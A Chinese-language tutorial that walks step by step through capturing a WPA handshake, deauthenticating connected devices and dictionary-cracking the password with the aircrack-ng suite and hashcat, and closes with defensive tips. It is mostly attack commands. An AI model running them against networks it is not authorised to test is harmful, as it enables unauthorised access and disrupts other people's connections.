Kali Linux能做很多事,但是它主要以滲透測試及’破解wifi密碼’聞名。
要求:
- 安裝有Kali Linux的計算機
- 支持監控模式的網卡,筆記本電腦一般都支持
- 字典文件
- 時間和耐心
這種攻擊需要字典文件,一個好的字典至關重要。我以Kali Linux自帶的rockyou字典爲例,位於/user/share/wordlists/rockyou.txt.gz。
使用前先解壓:
# gzip -d /usr/share/wordlists/rockyou.txt.gz
注意:破解其他人的wifi密碼是“犯罪”,so,don’t;我使用自己的無線路由器演示。
知道了攻擊方法,你自然就知道怎麼防範了。
1)首先斷開連接的wifi。
在終端中執行:
# airmon-ng
上面命令列出了支持監控模式的無線網卡。如果沒有任何輸出,表示無線網卡不支持監控模式。你可以看到我的wlan0支持監控模式。
2)開啓無線網卡的監控模式
有些進程會影響到monitor模式的開啓,使用下面這條命令結束受影響的進程
airmon-ng check kill
使用iwconfig查看無線網卡的名稱,如本例爲wlan0,開啓monitor模式的命令如下:
# airmon-ng start wlan0
執行成功之後網卡接口變爲wlan0mon;可以使用ifconfig命令查看。
3)查看wifi網絡
# airodump-ng wlan0mon
上面列出了周圍的wifi和它們的詳細信息,包括信號強度、加密類型、頻道等。要記住要破解wifi的頻道號和BSSID。
按Ctrl-C結束。
4)抓取握手包
使用網卡的監聽模式抓取周圍的無線網絡數據包。其中,對我們最重要的數據包是:包含密碼的包-也叫握手包。當有新用戶或斷開用戶自動連接wifi時,會發送握手包。
開始抓包:
# airodump-ng -c 6 --bssid BC:46:99:66:F9:84 -w ./wifiname wlan0mon
參數解釋:
- -c指定頻道號
- –bssid指定路由器bssid
- -w指定抓取的數據包保存位置
5)強制連接到wifi的設備重新連接路由器
現在我們只要等用戶連接/重連接wifi了,運氣不好也許要很長時間。
但是我們是不會等的,這不是耐心黑客該乾的事。有一個叫aireplay-ng的工具,它可以強制用戶斷開wifi連接;原理是,給連接到wifi的一個設備發送一個deauth(反認證)包,讓那個設備斷開wifi,隨後它自然會再次連接wifi。
aireplay-ng的生效前提是,wifi網絡中至少有一個連接的設備。從上圖(4)可以看到哪些設備連接到了wifi,STATION就是連接設備的MAC地址,記住一個。
打開新終端執行:
aireplay-ng -0 2 -a 46:99:66:F9:84 -c B8:E8:56:09:CC:9C wlan0mon
參數解釋:
- -0表示發起deauthentication攻擊
- -a指定無線路由器BSSID
- -c指定強制斷開的設備
如果成功:
按Ctrl-C結束抓包。
我們已經得到了想要的握手包了,可以結束無線網卡的監控模式了:
# airmon-ng stop wlan0mon
6) 開始破解密碼
# aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ./*.cap
參數解釋:
- -a2代表WPA的握手包
- -b指定要破解的wifi BSSID。
- -w指定字典文件
- 最後是抓取的包
可選)使用顯卡的運算能力
如果你有一個強大的GPU,爲什麼不使用GPU跑字典呢?
Hashcat可以藉助GPU的運算力破解各種不同算法的hash值。
下載時要注意選擇正確的顯卡類型(AMD、NVidia)。Kali Linux自帶這個工具。
在破解cap文件之前,要把它轉換爲hccap文件:
# aircrack-ng file.cap -J out.hccap
使用GPU破解hash:
# hashcat -m 2500 out.hccap 字典文件
總結:
- 防止這種攻擊最簡單的方法是設置賊複雜賊長的密碼;
- 不要使用WEP加密方式,非常容易被破解
- 現在的無線路由器都有WPS功能,關了吧